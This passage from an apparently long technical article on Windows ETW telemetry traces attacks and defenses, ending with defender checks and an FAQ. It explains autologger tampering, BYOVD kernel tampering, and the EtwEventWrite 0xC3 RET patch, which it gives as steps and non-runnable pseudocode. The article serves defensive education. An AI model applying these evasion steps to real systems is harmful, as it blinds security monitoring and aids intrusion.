    K -.latency-vs-coupling axis.-&amp;gt; M
&lt;p&gt;The CrowdStrike July 2024 channel-file outage was a kernel-driver brittleness story, not an ETW story. The Falcon kernel driver&apos;s content-update parser dereferenced an out-of-bounds pointer when processing a channel file whose Rapid Response Content template had 21 input fields while the sensor&apos;s Content Interpreter expected only 20, triggering an out-of-bounds array read, BSOD-ing roughly 8.5 million Windows hosts [@ms-crowdstrike-2024][@crowdstrike-rca-2024]. That story belongs to the App Identity in Windows article [@paragmali-com-app-ide] in this series; it is mentioned here only to mark that the cost of the synchronous-kernel-driver path is a higher blast radius when the driver itself is buggy.&lt;/p&gt;
&lt;p&gt;A note on Defender&apos;s cloud schema. The events that surface in Microsoft Defender for Endpoint&apos;s hunting tables -- &lt;code&gt;DeviceProcessEvents&lt;/code&gt;, &lt;code&gt;DeviceFileEvents&lt;/code&gt;, &lt;code&gt;DeviceNetworkEvents&lt;/code&gt;, &lt;code&gt;DeviceImageLoadEvents&lt;/code&gt;, &lt;code&gt;DeviceRegistryEvents&lt;/code&gt; -- are the cloud-side abstraction over the kernel and ETW telemetry the Defender sensor collects locally. The full schema mapping from ETW provider to cloud column is out of scope here, but the substrate is the same.&lt;/p&gt;
&lt;p&gt;Six vendors, three axes, one substrate. Now we walk the attack tradition that the substrate has to survive.&lt;/p&gt;
&lt;h2&gt;11. The attack tradition: five generations of trying to blind ETW&lt;/h2&gt;
&lt;p&gt;Every generation of ETW has been attacked. Some attacks broke a single provider; some broke every user-mode provider on a host; one would, if it worked at scale, break Defender. The defense story is on the same five-generation timeline.&lt;/p&gt;
&lt;h3&gt;Gen 1 (2014-2018): autologger registry tampering&lt;/h3&gt;
&lt;p&gt;The dispositive taxonomy is Matt Graeber and Lee Christensen&apos;s December 24, 2018 Palantir CIRT post [@palantir-tampering-wayback] [@palantir-tampering-wayback], preserved in the Wayback Machine because the direct Medium URL has since returned HTTP 403 to non-browser fetchers. The opening framing is verbatim:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Event Tracing for Windows (ETW) is the mechanism Windows uses to trace and log system events. Attackers often clear event logs to cover their tracks. Though the act of clearing an event log itself generates an event, attackers who know ETW well may take advantage of tampering opportunities to cease the flow of logging temporarily or even permanently, without generating any event log entries in the process.&quot; -- [@palantir-tampering-wayback]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Graeber and Christensen split the technique into two classes. &lt;em&gt;Persistent tampering&lt;/em&gt; writes to the autologger registry path described in section 6, disabling a session before it ever starts at next boot; the events of interest are never captured because the session is never running. &lt;em&gt;Ephemeral tampering&lt;/em&gt; targets a live session: stopping the session via &lt;code&gt;ControlTrace&lt;/code&gt;, removing a provider from a session via &lt;code&gt;EnableTraceEx2(EVENT_CONTROL_CODE_DISABLE_PROVIDER, ...)&lt;/code&gt;, or directly clearing the session&apos;s buffers.&lt;/p&gt;
&lt;p&gt;The defense is direct: monitor the autologger registry surface. Sysmon Event ID 13 [@ms-sysmon] surfaces registry value-set events in &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\&lt;/code&gt;; a SOC playbook that alerts on any unexpected write to that subtree catches the persistent class of attack reliably. Matt Graeber&apos;s authorship is cross-confirmed by the palantir/exploitguard repository [@gh-palantir-exploitguard] [@gh-palantir-exploitguard], which credits him as the lead researcher on the ETW work.&lt;/p&gt;
&lt;h3&gt;Gen 2 (2020): user-mode &lt;code&gt;EtwEventWrite&lt;/code&gt; 0xC3 RET patch&lt;/h3&gt;
&lt;p&gt;The technique that made ETW patching a household tradecraft term is Adam Chester&apos;s &quot;Hiding your .NET - ETW&quot;, March 17, 2020 [@xpn-hiding-dotnet] [@xpn-hiding-dotnet]. The mechanic is one byte:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Locate &lt;code&gt;ntdll!EtwEventWrite&lt;/code&gt; (or in modern variants &lt;code&gt;ntdll!NtTraceEvent&lt;/code&gt;) in the calling process&apos;s memory.&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;VirtualProtect&lt;/code&gt; to make the page writable.&lt;/li&gt;
&lt;li&gt;Write the byte &lt;code&gt;0xC3&lt;/code&gt; over the function&apos;s first byte.&lt;/li&gt;
&lt;li&gt;Restore the page protection.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;0xC3&lt;/code&gt; is the near-return opcode [@felixcloutier-ret] [@felixcloutier-ret]: &quot;C3 RET ZO Valid Valid Near return to calling procedure.&quot; Any caller into the function falls straight back to its return address before producing a single event. The calling process now silently fails to emit any user-mode ETW events for any provider that funnels through the patched stub -- including &lt;code&gt;Microsoft-Windows-DotNETRuntime&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The technique has been re-implemented in every language that can call &lt;code&gt;VirtualProtect&lt;/code&gt;. The fluxsec.red Rust port [@fluxsec-etw-patching] [@fluxsec-etw-patching] explains the modern variant verbatim:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;When a ETW Provider sends a notification, it will eventually reach into ntdll.dll for the function NtTraceEvent... we can simply patch the function address to return straight from byte 0. The opcode for a ret is C3, so we can swap out the opcode 4C with C3 to immediately return out of the stub.&quot; -- [@fluxsec-etw-patching]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Here is the structure of the patch in TypeScript pseudocode -- not actually runnable Win32, but mirroring exactly what a Windows binary would do:&lt;/p&gt;
&lt;p&gt;{`
// Pseudocode: silence user-mode ETW for the calling process.
// This silences only the calling process and only user-mode providers
// that funnel through the patched stub.&lt;/p&gt;
&lt;p&gt;// 1. Resolve the address of ntdll!EtwEventWrite in this process.
const ntdll = getModuleHandle(&quot;ntdll.dll&quot;);
const fn = getProcAddress(ntdll, &quot;EtwEventWrite&quot;);&lt;/p&gt;
&lt;p&gt;// 2. Make the function&apos;s first page writable.
const PAGE_EXECUTE_READWRITE = 0x40;
let oldProtect = 0;
virtualProtect(fn, 1, PAGE_EXECUTE_READWRITE, /* out */ ref(oldProtect));&lt;/p&gt;
&lt;p&gt;// 3. Write 0xC3 (RET) over the first byte. Caller now returns immediately.
writeByte(fn, 0xC3);&lt;/p&gt;
&lt;p&gt;// 4. Restore original page protection.
virtualProtect(fn, 1, oldProtect, /* out */ ref(oldProtect));&lt;/p&gt;
&lt;p&gt;// Limits:
// - Silences only this process.
// - Silences only providers whose emit path funnels through this stub.
// - Cannot silence kernel-emitted providers like Microsoft-Windows-Threat-Intelligence.
`}&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The patch operates on the calling process&apos;s user-mode trampoline. Other processes on the host are unaffected; their ETW emissions continue normally. Kernel-emitted providers like &lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt; are unaffected even in the patched process; they fire from the kernel side of the syscall path, after control has crossed the user/kernel boundary, on a code path the user-mode patcher cannot reach without first achieving kernel execution.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Gen 3 (2021-2023): kernel-mode primitives&lt;/h3&gt;
&lt;p&gt;If a user-mode patch cannot reach EtwTi, can a kernel-mode patch? Yes -- but the attacker first needs kernel execution. The most common path is BYOVD [@paragmali-com-in-windows]: load a signed but vulnerable driver and use its primitive to read or write kernel memory. Once you can write kernel memory you can target ETW&apos;s internal data structures directly.&lt;/p&gt;
&lt;p&gt;Binarly&apos;s Black Hat Europe 2021 talk [@binarly-edr] [@binarly-edr] documents the surface verbatim:&lt;/p&gt;

Many ways to disable ETW logging are publicly available from passing a TRUE boolean parameter into a `nt!EtwpStopTrace` function to finding an ETW specific structure and dynamically modifying it or patching `ntdll!ETWEventWrite` or `advapi32!EventWrite` to return immediately thus stopping the user-mode loggers. -- [@binarly-edr]
&lt;p&gt;The kernel-side primitives Binarly enumerates target the &lt;code&gt;_ETW_GUID_ENTRY&lt;/code&gt; structure for a provider, the &lt;code&gt;EtwpRegistration&lt;/code&gt; linked list of registered providers, and the &lt;code&gt;EtwpEventTracingProhibited&lt;/code&gt; flag the kernel checks before emitting events. Yarden Shafir&apos;s 2023 Trail of Bits walkthrough [@trailofbits-shafir] [@trailofbits-shafir] provides the contemporary kernel-side data structure walk through &lt;code&gt;_ETW_REALTIME_CONSUMER&lt;/code&gt; and &lt;code&gt;_ETW_SILODRIVERSTATE&lt;/code&gt;, and notes:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Most recently, the Lazarus Group bypassed EDR detection by disabling ETW providers&quot; -- [@trailofbits-shafir]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The architectural-level treatment is well-documented; the specific kernel offsets that change between Windows builds are a moving target. We treat the technique class as well-established and the per-build offset details as out of scope.&lt;/p&gt;
&lt;h3&gt;Defense Gen 1 (2017): Antimalware-PPL + ELAM gate on EtwTi&lt;/h3&gt;
&lt;p&gt;Section 9 covered this in detail. The point to record here, in the attack-tradition timeline, is that the Antimalware-PPL gate predates the Adam Chester 2020 user-mode patch by three years. Microsoft did not respond to Chester&apos;s post; they had already put the load-bearing security signal structurally out of reach of any user-mode patch in the calling process. The user-mode patch class is generic against &lt;code&gt;Microsoft-Windows-DotNETRuntime&lt;/code&gt; and the rest of the user-mode catalogue; it is structurally impotent against &lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Defense Gen 2 (2022): Vulnerable Driver Blocklist on by default&lt;/h3&gt;
&lt;p&gt;The kernel-mode primitive class needs a kernel write. Without a vulnerability in the EDR&apos;s kernel driver, the realistic path is BYOVD: load a third-party signed driver that exposes a memory-write primitive. The structural defense is Microsoft&apos;s Vulnerable Driver Blocklist [@ms-vdb] [@ms-vdb]:&lt;/p&gt;

Since the Windows 11 2022 update, the vulnerable driver blocklist is enabled by default for all devices, and can be turned on or off via the Windows Security app... the vulnerable driver blocklist is also enforced when either memory integrity, also known as hypervisor-protected code integrity (HVCI), Smart App Control, or S mode is active... The blocklist is updated quarterly. In addition, blocklist updates are delivered through the monthly Windows updates as part of the standard servicing process. -- [@ms-vdb]
&lt;p&gt;The blocklist enumerates known-vulnerable signed drivers by hash; the kernel refuses to load anything on the list. On a Windows 11 22H2-or-later host with the default settings, the BYOVD primitive against most known-vulnerable drivers is closed. With HVCI on, the closure is enforced even against attackers who would otherwise try to load drivers via legacy paths. The empirical bound is the LOLDrivers project&apos;s catalogue of known-vulnerable drivers; the blocklist tracks public discovery with a lag of approximately one quarter, which is the residual window an attacker can exploit before a freshly disclosed driver is added.&lt;/p&gt;

The attack pattern of loading a known-vulnerable but signed driver to obtain a kernel-mode primitive (memory read, memory write, or arbitrary code execution). Used in real-world EDR-blinding attacks, including by the Lazarus Group as cited in Trail of Bits&apos; 2023 ETW walk [@trailofbits-shafir].

The Microsoft-maintained blocklist of known-vulnerable signed drivers, by hash. Enabled by default on Windows 11 22H2 and later. Enforced more strictly when HVCI, Smart App Control, or S mode is active. Updated quarterly per the Microsoft Learn primary [@ms-vdb].
&lt;p&gt;The LOLDrivers project [@loldrivers] [@loldrivers] is the empirical anchor for the BYOVD lag story. It catalogues known-vulnerable signed drivers as a community resource; the Microsoft blocklist updates quarterly, but blocklist updates are also delivered through monthly Windows servicing, so a freshly-disclosed driver can live in an exploitation window of as short as ~1 month (via Patch Tuesday) or up to a full quarter before its hash is added.&lt;/p&gt;

flowchart LR
    subgraph Attacks
        A1[&quot;Gen 1 2014-2018: Autologger registry tampering -- Palantir CIRT taxonomy&quot;]
        A2[&quot;Gen 2 2020: EtwEventWrite 0xC3 RET -- Adam Chester&quot;]
        A3[&quot;Gen 3 2021-2023: Kernel _ETW_GUID_ENTRY -- EtwpRegistration EtwpStopTrace via BYOVD&quot;]
    end
    subgraph Defenses
        D1[&quot;Sysmon Event ID 13 -- monitor Autologger subtree&quot;]
        D2[&quot;Antimalware-PPL plus ELAM -- gate on EtwTi 2017&quot;]
        D3[&quot;Vulnerable Driver Blocklist -- default-on Win11 22H2 plus HVCI&quot;]
    end
    A1 --&amp;gt; D1
    A2 --&amp;gt; D2
    A3 --&amp;gt; D3
&lt;h3&gt;The 2026 picture&lt;/h3&gt;
&lt;p&gt;User-mode patching cannot reach the kernel-mode provider that EDR cares about. The BYOVD primitive that could reach it is structurally narrowed by default on supported hardware. The remaining gap is the long tail of newly-disclosed vulnerable drivers between disclosure and blocklist update, plus any custom kernel zero-day an attacker discovers in an EDR&apos;s own driver. Both are real, both are exploited in the wild, neither is the universally-applicable evasion the 2020-era user-mode patch class was.&lt;/p&gt;
&lt;p&gt;That is the operational story. But ETW has structural limits even when no attacker is patching anything.&lt;/p&gt;
&lt;h2&gt;12. Theoretical limits: what ETW cannot see, even with every defence engaged&lt;/h2&gt;
&lt;p&gt;Even on a perfectly-configured Windows 11 box -- HVCI [@paragmali-com-in-windows] on, Vulnerable Driver Blocklist on, Antimalware-PPL Defender consuming EtwTi, third-party EDR ELAM-onboarded -- there are events ETW does not emit. Some are observed too late. Some are not observed at all.&lt;/p&gt;
&lt;p&gt;There are three structural ceilings.&lt;/p&gt;
&lt;h3&gt;Pre-ETW kernel paths&lt;/h3&gt;
&lt;p&gt;The Global Logger session is one of the earliest things to come up at boot, but it is not the first. Some early-init driver paths run before any ETW session exists; they cannot be traced via ETW. Measured Boot is the discipline that records this prefix into TPM PCRs, with attestation handled by the platform integrity layer rather than by ETW. The implication for EDR is that any malicious code executing during early boot, before the Global Logger session is up, is invisible to ETW.&lt;/p&gt;
&lt;h3&gt;Incomplete EtwTi syscall coverage&lt;/h3&gt;
&lt;p&gt;The 10 &lt;code&gt;KERNEL_THREATINT_TASK_*&lt;/code&gt; task IDs are the public surface. The underlying syscall set the kernel actually instruments is not exhaustively documented. The fluxsec.red inventory [@fluxsec-eti] [@fluxsec-eti] is the public surface, not the private one. Some syscalls are clearly covered (&lt;code&gt;NtAllocateVirtualMemory&lt;/code&gt; for cross-process allocation surfaces as &lt;code&gt;KERNEL_THREATINT_TASK_ALLOCVM&lt;/code&gt;); some have partial coverage (&lt;code&gt;MAPVIEW_LOCAL&lt;/code&gt; and &lt;code&gt;MAPVIEW_REMOTE&lt;/code&gt; keywords cover some but not all of the section-mapping primitive set across &lt;code&gt;NtCreateSection&lt;/code&gt;, &lt;code&gt;NtMapViewOfSection&lt;/code&gt;, &lt;code&gt;NtMapViewOfSectionEx&lt;/code&gt;, image-section vs file-section variants); some are not enumerated at all in the public manifest. Process-hollowing primitives that combine &lt;code&gt;NtUnmapViewOfSection&lt;/code&gt; and &lt;code&gt;NtMapViewOfSection&lt;/code&gt; may be partially covered depending on which path the attacker takes.&lt;/p&gt;
&lt;h3&gt;The async-flush gap&lt;/h3&gt;
&lt;p&gt;ETW&apos;s per-CPU ring buffer is asynchronous. If a process allocates RWX memory, writes shellcode, executes it, and returns within one writer-thread flush interval, the event is &lt;em&gt;recorded&lt;/em&gt; but the attacker&apos;s payload has &lt;em&gt;already executed&lt;/em&gt;. The synchronous denial primitive on Windows belongs to kernel notify routines, not to ETW. The Microsoft Learn primary on About Event Tracing [@ms-about-etw] [@ms-about-etw] is explicit that events can be lost:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Events can be lost if any of the following conditions occur ... The total event size is greater than 64K ... The disk is too slow to keep up with the rate at which events are being generated. ... For real-time logging, the real-time consumer is not consuming events fast enough.&quot; -- [@ms-about-etw]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;No ETW-only EDR can prevent a syscall whose payload completes inside one writer flush. EDRs that ship a kernel driver and register synchronous callbacks (CrowdStrike, SentinelOne, Sysmon, Elastic Defend) can deny operations through the &lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt; [@ms-pssetprocnotify] [@ms-pssetprocnotify] &lt;code&gt;CreationStatus&lt;/code&gt; field; ETW-only EDRs cannot. ETW is observation, not enforcement.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; ETW is observation, not enforcement. The synchronous denial primitive on Windows belongs to kernel notify routines, not to ETW. Sub-microsecond payloads execute before the writer thread flushes; the layered defense stack of 2026 is an empirical bar, not a theoretical guarantee.&lt;/p&gt;
&lt;/blockquote&gt;

The VBS-backed code-integrity enforcement for kernel-mode code on Windows. With HVCI enabled, the hypervisor enforces that only signed kernel pages can execute. Closes the attack class that loads unsigned drivers; combined with the Vulnerable Driver Blocklist it closes most of the realistic BYOVD primitive surface as well.
&lt;p&gt;The &quot;events can be lost&quot; enumeration in [@ms-about-etw] is the dispositive Microsoft acknowledgement of ETW&apos;s lossy substrate. SOC playbooks should treat ETW telemetry as best-effort, not as a guaranteed audit trail. Forensic claims that depend on completeness need an independent corroborating source.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; A detection-only EDR can alert on a malicious operation, but only after the operation has happened. By the time the SOC sees the alert, the syscall has completed, the shellcode has executed, the credentials have been stolen. This is why the kernel-callback path (with its ability to deny via &lt;code&gt;CreationStatus&lt;/code&gt;) coexists with ETW even though ETW is more flexible: a SOC playbook needs both the speed of denial and the breadth of observation.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The 2026 layered stack -- Antimalware-PPL + EtwTi + HVCI + VBL -- raises the empirical bar enormously. It does not close the architectural gap. Sub-microsecond payloads still execute before the writer thread flushes. The BYOVD primitive on a non-HVCI box still defeats the kernel-callback layer. There are still problems the substrate cannot solve in principle.&lt;/p&gt;
&lt;p&gt;Those are the limits we can describe. The next section is about the limits we cannot yet measure.&lt;/p&gt;
&lt;h2&gt;13. Open problems: keyword drift, secure kernel ETW, and the BYOVD arms race&lt;/h2&gt;
&lt;p&gt;The 2026 state of the art has five active open problems. Each has a partial workaround; none has a complete solution.&lt;/p&gt;
&lt;h3&gt;1. EtwTi keyword inventory drift across builds&lt;/h3&gt;
&lt;p&gt;Microsoft has not published a complete, current &lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt; keyword inventory. The community-maintained references -- the jdu2600 cross-build inventory [@gh-jdu2600] [@gh-jdu2600] and the repnz manifest archive [@gh-repnz] [@gh-repnz] -- are partial coverage and lag Microsoft&apos;s quarterly servicing cadence. EDR vendors that hard-code keyword bitmasks against an old build can silently miss events on newer builds because the keyword definitions have shifted underneath them. Detection engineers writing rules against &lt;code&gt;KERNEL_THREATINT_TASK_*&lt;/code&gt; IDs that move between builds can get false negatives.&lt;/p&gt;

There are three plausible reasons, and Microsoft has not stated which (or which combination) is operative. *Operational secrecy*: a complete keyword inventory tells attackers exactly which syscall paths are observed and which are not, narrowing the search for evasion paths. *Documentation cost*: the inventory shifts every build, and maintaining a synchronised public reference is engineering work without an obvious internal champion. *Deliberate moving target*: keeping the public surface incomplete forces attackers to reverse-engineer per build, raising the cost of stable evasion. The community references partially defeat all three rationales; the absence remains.
&lt;h3&gt;2. Secure ETW (the &lt;code&gt;EtwSi*&lt;/code&gt; family)&lt;/h3&gt;
&lt;p&gt;Windows VBS Trustlets run in the Secure Kernel (VTL1), insulated from the normal-world kernel (VTL0) by the hypervisor. The Secure Kernel exposes its own ETW family for VTL1 components; this is enumerated in fragments in Alex Ionescu&apos;s BlackHat 2015 deck on the Secure Kernel and in subsequent BlueHatIL talks. There is no public consumer-facing primary on &lt;code&gt;EtwSi*&lt;/code&gt; in 2026. Cross-link: this article&apos;s companion piece on VBS Trustlets [@paragmali-vbs-trustlets] [@paragmali-vbs-trustlets] covers the producer side of the story.&lt;/p&gt;
&lt;h3&gt;3. Forensic soundness of ETW telemetry&lt;/h3&gt;
&lt;p&gt;ETW is lossy by design (per the [@ms-about-etw] enumeration). Whether ETW-derived telemetry is &lt;em&gt;forensically sound&lt;/em&gt; -- chain-of-custody complete, lossless under load, attestable as untampered between event emission and SIEM ingestion -- is an open question. Courts have not ruled. The current best partial result is to treat ETW as supporting evidence and require independent corroboration (file-system snapshots, network captures, OS state captures) for any claim that depends on completeness. Sysmon&apos;s Event ID 16 (Sysmon configuration changed) [@ms-sysmon] and the autologger registry write events on &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\&lt;/code&gt; are useful integrity signals: an attacker who silenced ETW typically leaves a footprint here.&lt;/p&gt;
&lt;h3&gt;4. The BYOVD arms race&lt;/h3&gt;
&lt;p&gt;The Vulnerable Driver Blocklist [@ms-vdb] [@ms-vdb] is hash-based and updated quarterly. The LOLDrivers project [@loldrivers] [@loldrivers] documents the public catalogue of known-vulnerable signed drivers. The gap between disclosure and blocklist update--as short as ~1 month via Patch Tuesday or up to a full quarter--is the residual exploitation window. The deeper structural issue is that the blocklist is hash-based; an attacker who finds a new vulnerability in a previously-trusted signed driver enjoys a fresh window every quarter. Closing this gap requires either a different trust model (allow-listing of known-good drivers, as Smart App Control does for executables) or behavioural detection of suspicious driver loads. Both are active areas of work.&lt;/p&gt;
&lt;h3&gt;5. Cross-process section-mapping coverage&lt;/h3&gt;
&lt;p&gt;EtwTi&apos;s &lt;code&gt;KERNEL_THREATINT_TASK_MAPVIEW&lt;/code&gt; covers some but not all section-mapping primitives. The public fluxsec.red [@fluxsec-eti] inventory lists &lt;code&gt;MAPVIEW_LOCAL&lt;/code&gt; and &lt;code&gt;MAPVIEW_REMOTE&lt;/code&gt; keywords, but the underlying syscall set (&lt;code&gt;NtMapViewOfSection&lt;/code&gt;, &lt;code&gt;NtMapViewOfSectionEx&lt;/code&gt;, &lt;code&gt;NtCreateSection&lt;/code&gt;, image-section vs file-section variants) is not exhaustively documented. Detection engineers who depend on full coverage of cross-process section mapping are working from an incomplete map.&lt;/p&gt;
&lt;h3&gt;What would a v2 ETW look like?&lt;/h3&gt;
&lt;p&gt;A theoretical ideal: synchronous kernel-emitted events on every security-relevant syscall, with the consumer running in VTL1 (Secure Kernel) so even a kernel-mode attacker in VTL0 cannot tamper with the consumer. The &lt;code&gt;EtwSi*&lt;/code&gt; family is the partial realisation. The full ideal is incompatible with x64 syscall performance: synchronous notification on every syscall would dominate the cost of the syscall itself. The pragmatic answer Microsoft has been building toward is &lt;em&gt;selective&lt;/em&gt; synchronous notification (the kernel notify routines for high-value control points) layered with &lt;em&gt;broad&lt;/em&gt; asynchronous observation (ETW for everything else), with the most security-critical of the broad observations promoted to PPL/ELAM-gated kernel-emitted producers (EtwTi). Two decades of layering, no single architectural endpoint.For the producer side of the Secure Kernel ETW story (&lt;code&gt;EtwSi*&lt;/code&gt;), see this article&apos;s companion piece on VBS Trustlets [@paragmali-vbs-trustlets] [@paragmali-vbs-trustlets] in the same series. The Trustlet-side architecture is a separate topic large enough to need its own walkthrough.&lt;/p&gt;
&lt;p&gt;Open problems are interesting but they are not actionable. The next section is about what an engineer can do on Monday morning.&lt;/p&gt;
&lt;h2&gt;14. Practical guide: five things to do Monday morning&lt;/h2&gt;
&lt;p&gt;You have read 12,000 words about ETW. Here are five concrete checks an engineer can run on a Windows host this morning.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;code&gt;logman query providers&lt;/code&gt; enumerates every registered provider on the host. Cross-reference the output against the section 8 catalogue and flag any security-relevant provider your EDR is not consuming. Pay specific attention to &lt;code&gt;Microsoft-Antimalware-Scan-Interface&lt;/code&gt;, &lt;code&gt;Microsoft-Windows-PowerShell&lt;/code&gt;, &lt;code&gt;Microsoft-Windows-DotNETRuntime&lt;/code&gt;, and &lt;code&gt;Microsoft-Windows-Sysmon&lt;/code&gt; if Sysmon is installed. Missing coverage of any of these on a host you are responsible for is a detection-coverage gap, not a configuration issue.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Run &lt;code&gt;wevtutil gp Microsoft-Windows-Threat-Intelligence&lt;/code&gt; to confirm the provider is registered and inspect its keyword definitions. Then check whether your EDR is actually a consumer: walk the live-debugger handle enumeration in Yarden Shafir&apos;s Trail of Bits post [@trailofbits-shafir] [@trailofbits-shafir] (the WinDbg JS scripts are linked from the post). If your EDR is supposed to be ELAM-onboarded but does not appear in the consumer enumeration for an EtwTi logger session, your installation may have lost the gate. This is the difference between a configured EDR and a functional EDR.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Enumerate &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\&lt;/code&gt; for unauthorised session entries. Per the Palantir CIRT taxonomy [@palantir-tampering-wayback] [@palantir-tampering-wayback], this is the persistent-tampering surface. A baseline audit should produce a known list of expected sessions (Defender, your EDR, Sysmon if installed, the standard Windows diagnostic listeners). Any subkey not on the baseline list is an investigation candidate. Sysmon Event ID 13 (registry value set) [@ms-sysmon] on this subtree is a high-signal alert in any SIEM.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Run &lt;code&gt;Get-CimInstance Win32_DeviceGuard | Select-Object SecurityServicesConfigured, SecurityServicesRunning, VirtualizationBasedSecurityStatus&lt;/code&gt; to expose whether HVCI and the Vulnerable Driver Blocklist are active. Per the Microsoft Learn primary [@ms-vdb] [@ms-vdb], the BYOVD ceiling is your kernel-tampering integrity guarantee. If VBS is &lt;code&gt;Off&lt;/code&gt; on a managed endpoint, your detection coverage is structurally weaker than it should be on supported hardware. Treat it as a hardening item, not a nice-to-have.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Write a hunting query for the pattern: &quot;process X registers as ETW consumer for &lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt; and X is not on the EDR allow-list.&quot; The provider&apos;s PPL+ELAM gate makes this a high-signal alert: only a signed Antimalware-PPL service can pass the gate, so an unexpected process holding an &lt;code&gt;EtwConsumer&lt;/code&gt; handle to the TI logger ID is either a misconfigured tool, a legitimate research session you forgot about, or an attacker chain that has acquired Antimalware-PPL trust on your fleet. The first two are quick to triage; the third is an incident.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The structure of the check in pseudocode -- mirroring the WinDbg JS approach in [@trailofbits-shafir]:&lt;/p&gt;
&lt;p&gt;{`
// Pseudocode: inventory providers and identify EtwTi consumers.&lt;/p&gt;
&lt;p&gt;// 1. Enumerate registered providers and find Microsoft-Windows-Threat-Intelligence.
const providers = enumerateRegisteredProviders();
const tiProvider = providers.find(p =&amp;gt; p.guid === &quot;{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}&quot;);
if (!tiProvider) {
  warn(&quot;EtwTi provider not registered on this host&quot;);
}&lt;/p&gt;
&lt;p&gt;// 2. Enumerate live trace sessions and find any that subscribe to TI.
const sessions = enumerateLoggerSessions();  // logman query -ets equivalent
const tiSessions = sessions.filter(s =&amp;gt;
  s.providers.some(p =&amp;gt; p.guid === tiProvider?.guid));&lt;/p&gt;
&lt;p&gt;// 3. Walk EtwConsumer handles for each TI session; identify the consuming processes.
const expectedConsumers = [&quot;MsMpEng.exe&quot;, &quot;CSFalconService.exe&quot;, &quot;SentinelAgent.exe&quot;];
for (const session of tiSessions) {
  const consumers = enumerateEtwConsumers(session.loggerId);  // Shafir WinDbg JS
  for (const consumer of consumers) {
    if (!expectedConsumers.includes(consumer.processName)) {
      alert(`Unexpected EtwTi consumer: ${consumer.processName} (PID ${consumer.pid})`);
    }
  }
}&lt;/p&gt;
&lt;p&gt;// 4. Audit autologger persistence entries against a known baseline.
const baseline = loadAutologgerBaseline();
const live = enumerateAutologgerSubkeys();  // HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger
for (const entry of live) {
  if (!baseline.includes(entry.name)) {
    alert(`Unexpected autologger entry: ${entry.name}`);
  }
}
`}&lt;/p&gt;
&lt;p&gt;With those five checks, the catalogue is no longer an abstraction. You have an inventory of what your host emits, an inventory of who consumes the most security-critical provider, an audit of the persistence surface that defines what gets emitted at all, a confirmation of the integrity layer that closes BYOVD, and a hunt for anyone who has somehow obtained the passport. Now we close with the questions every reader should expect to have.&lt;/p&gt;
&lt;h2&gt;15. Frequently asked questions&lt;/h2&gt;

Yes, for *publication*. Sysmon&apos;s kernel driver `SysmonDrv.sys` registers `PsSetCreateProcessNotifyRoutineEx` and the related thread- and image-load callbacks; the user-mode service then publishes the resulting events via its own `Microsoft-Windows-Sysmon` ETW provider GUID `{5770385F-C22A-43E0-BF4C-06F5698FFBD9}` [@ms-sysmon]. It does not consume the public catalogue providers via ETW for its kernel-event hot path; the kernel taps come straight from the callback API. This callback-then-publish architecture is why Sysmon&apos;s events are universally consumable by SIEM forwarders and downstream tools.

Because Defender consumes `Microsoft-Windows-Threat-Intelligence`, which fires from the kernel side of memory-modifying syscalls, not from the user-mode `ntdll!EtwEventWrite` trampoline. The fluxsec.red walkthrough states the asymmetry verbatim: &quot;we cannot patch out the Threat Intelligence provider as this is emitted from within the kernel itself&quot; [@fluxsec-eti]. The Adam Chester 2020 patch silences user-mode providers (like `Microsoft-Windows-DotNETRuntime`) for the patched process; it cannot silence kernel-emitted providers for any process. Defender&apos;s load-bearing security signal is structurally out of reach of the user-mode patch class.

